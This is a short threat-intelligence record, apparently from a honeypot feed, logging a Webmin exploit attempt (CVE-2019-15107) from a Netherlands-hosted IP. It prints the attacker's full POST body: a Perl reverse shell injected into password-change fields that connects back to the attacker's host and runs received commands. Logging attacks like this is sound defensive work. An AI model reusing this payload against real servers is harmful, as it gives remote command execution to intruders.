93.180.64.69 Webmin Exploit Attempt

Source IP: 93.180.64.69
Reverse DNS: hosted.by.coloprovider
Country: Netherlands
Payload: POST /password_change.cgi HTTP/1.1
POST Data: "expired=perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"93.180.64.69:21");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'&new1=4Ge17TDt&new2=4Ge17TDt&old=perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"93.180.64.69:21");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'"
Target Port: 10000
Bad Packets® Tags: Webmin RCE | Platform | CVE-2019-15107
Date Last Seen: 2019-10-30T22:29:53Z